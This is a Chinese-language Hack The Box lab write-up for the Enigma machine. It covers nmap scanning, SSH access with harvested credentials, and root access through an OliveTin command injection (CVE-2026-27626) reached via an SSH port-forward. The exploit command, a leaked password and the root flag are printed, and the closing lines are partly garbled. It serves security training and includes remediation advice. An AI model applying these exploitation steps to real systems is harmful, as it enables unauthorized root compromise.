针对 Hack The Box - Enigma 机器的全面渗透测试报告与漏洞利用细节,涵盖本地枚举、OliveTin CVE-2026-27626 命令注入以及 root 权限提升
Enigma 是 Hack The Box 上的一台中级 Linux 靶机。评估方法遵循标准渗透测试生命周期:侦察、枚举、通过凭据收集获得初始访问权限、本地枚举,以及通过服务层漏洞(OliveTin 中的 CVE-2026-27626)进行 root 权限提升。本报告详细介绍了逐步的向量分析、工具集、代码执行策略以及完全攻陷目标并获取管理控制权所需的修复指南。
Nmap)评估从 TCP SYN 扫描开始,以识别目标主机上开放的端口和运行的服务。
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
扫描结果:
使用目录发现工具(gobuster / ffuf),我们扫描了端口 80 上的 Web 服务,以发现隐藏的端点、管理门户或配置工件。
通过对 Web 应用程序文件和辅助 NFS 共享的详细分析,我们发现了有效的开发者凭据。
harisbestfriends利用发现的凭据,我们对 SSH 服务进行身份验证,在目标系统上建立了一个交互式低权限 Shell:
ssh haris@<TARGET_IP>
haris@enigma:~$user.txt)。在建立用户级 Shell 后,我们审查了本地监听端口和活动进程,以识别未对外暴露的潜在攻击面:
ss -tulpn
关键发现:
127.0.0.1:1337 上以 root 权限在本地运行。对 OliveTin 应用程序配置文件(/opt/OliveTin/config.yaml)的进一步检查显示,数据库备份操作是通过 shell 包装器执行的。具体而言,配置在 mysqldump 命令字符串中使用了 db_pass 参数:
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_pass
type: password
此配置引入了一个严重的命令注入漏洞(CVE-2026-27626),因为 db_pass 参数在 shell 上下文中被单引号包围,但未正确清理包含 shell 控制操作符(例如分号 ;、管道 | 或反引号)的输入。
由于存在漏洞的 OliveTin 服务严格绑定到 127.0.0.1:1337,来自 Kali 攻击机的外部请求会被阻止,并返回 Connection refused 错误。为了与该服务交互,我们通过 SSH 建立了本地端口转发隧道:
ssh -L 1337:127.0.0.1:1337 haris@<TARGET_IP>
使用针对 OliveTin API 端点(/api/olivetin.api.v1.OliveTinApiService/StartAction)的 Python 漏洞利用脚本,我们将任意系统命令注入到易受攻击的参数向量中。
由于原始 mysqldump 命令包装器中的严格 shell 语法和目录依赖关系,直接创建文件有时可能导致退出状态错误(例如缺少目标目录或权限限制)。通过构造精确的执行字符串或直接通过 API 漏洞查询文件系统,我们绕过了执行障碍。
通过漏洞利用接口运行命令载荷:
python3 CVE-2026.27626.py -u http://127.0.0.1 -x "cat /root/root.txt"
执行输出:
[+] Execution ID: 7fd15259-3996-4e03-9ebd-329034ee4e0d
======================================================================
Command Output
======================================================================
exit status 127
Usage: mysqldump [OPTIONS] database [tables]
...
ae9306f5690c4812c6f9445027d0d060
sh: 1: : Permission denied
======================================================================
root 标志已成功通过命令输出流直接提取。
ae9306f5690c4812c6f9445027d0d060/root/.ssh/authorized_keys,从而授予无缝的管理终端访问权限。root 安全上下文中运行像 OliveTin 这样的管理自动化软件。在具有最小权限的专用服务账户下运行服务。